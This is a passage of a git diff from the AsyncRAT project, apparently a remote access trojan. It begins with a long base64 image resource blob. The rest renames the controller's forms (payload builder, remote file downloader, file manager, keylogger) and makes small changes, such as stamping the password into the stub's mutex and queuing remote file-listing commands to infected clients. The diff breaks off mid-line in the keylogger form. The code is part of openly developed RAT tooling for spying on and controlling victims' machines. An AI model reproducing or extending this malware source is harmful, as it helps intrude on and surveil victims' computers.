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 + gg== + + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs index 1aeb8f3..91396a7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class Builder + partial class FormBuilder { /// /// Required designer variable. @@ -28,7 +28,7 @@ /// private void InitializeComponent() { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Builder)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormBuilder)); this.button1 = new System.Windows.Forms.Button(); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.textPort = new System.Windows.Forms.TextBox(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs similarity index 96% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs index 6edd50f..06001e7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs @@ -8,9 +8,9 @@ using System.Threading.Tasks; namespace AsyncRAT_Sharp.Forms { - public partial class Builder : Form + public partial class FormBuilder : Form { - public Builder() + public FormBuilder() { InitializeComponent(); } @@ -57,7 +57,7 @@ namespace AsyncRAT_Sharp.Forms method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") - method.Body.Instructions[i].Operand = Guid.NewGuid().ToString(); + method.Body.Instructions[i].Operand = Settings.Password; //Guid.NewGuid().ToString(); if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") method.Body.Instructions[i].Operand = Settings.Password; @@ -99,6 +99,9 @@ namespace AsyncRAT_Sharp.Forms else button1.Enabled = true; } + else + button1.Enabled = true; + } catch (Exception ex) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs index 1c75256..5753742 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class DownloadFile + partial class FormDownloadFile { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DownloadFile)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormDownloadFile)); this.label1 = new System.Windows.Forms.Label(); this.timer1 = new System.Windows.Forms.Timer(this.components); this.labelsize = new System.Windows.Forms.Label(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs similarity index 92% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs index 5331c24..7e1849a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs @@ -12,9 +12,9 @@ using System.Threading; namespace AsyncRAT_Sharp.Forms { - public partial class DownloadFile : Form + public partial class FormDownloadFile : Form { - public DownloadFile() + public FormDownloadFile() { InitializeComponent(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/DownloadFile.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs index 0e879e8..b2a64c5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class FileManager + partial class FormFileManager { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FileManager)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormFileManager)); this.listView1 = new System.Windows.Forms.ListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs index 8734c40..c5b6587 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs @@ -7,9 +7,9 @@ using System.IO; namespace AsyncRAT_Sharp.Forms { - public partial class FileManager : Form + public partial class FormFileManager : Form { - public FileManager() + public FormFileManager() { InitializeComponent(); } @@ -55,7 +55,7 @@ namespace AsyncRAT_Sharp.Forms msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = path + "\\"; toolStripStatusLabel1.Text = path; - C.BeginSend(msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); } catch { @@ -84,10 +84,10 @@ namespace AsyncRAT_Sharp.Forms ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); this.BeginInvoke((MethodInvoker)(() => { - DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid]; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD == null) { - SD = new DownloadFile + SD = new FormDownloadFile { Name = "socketDownload:" + dwid, Text = "socketDownload:" + C.ID, diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs index e30bcaf..38b65fb 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs @@ -1,6 +1,6 @@ namespace 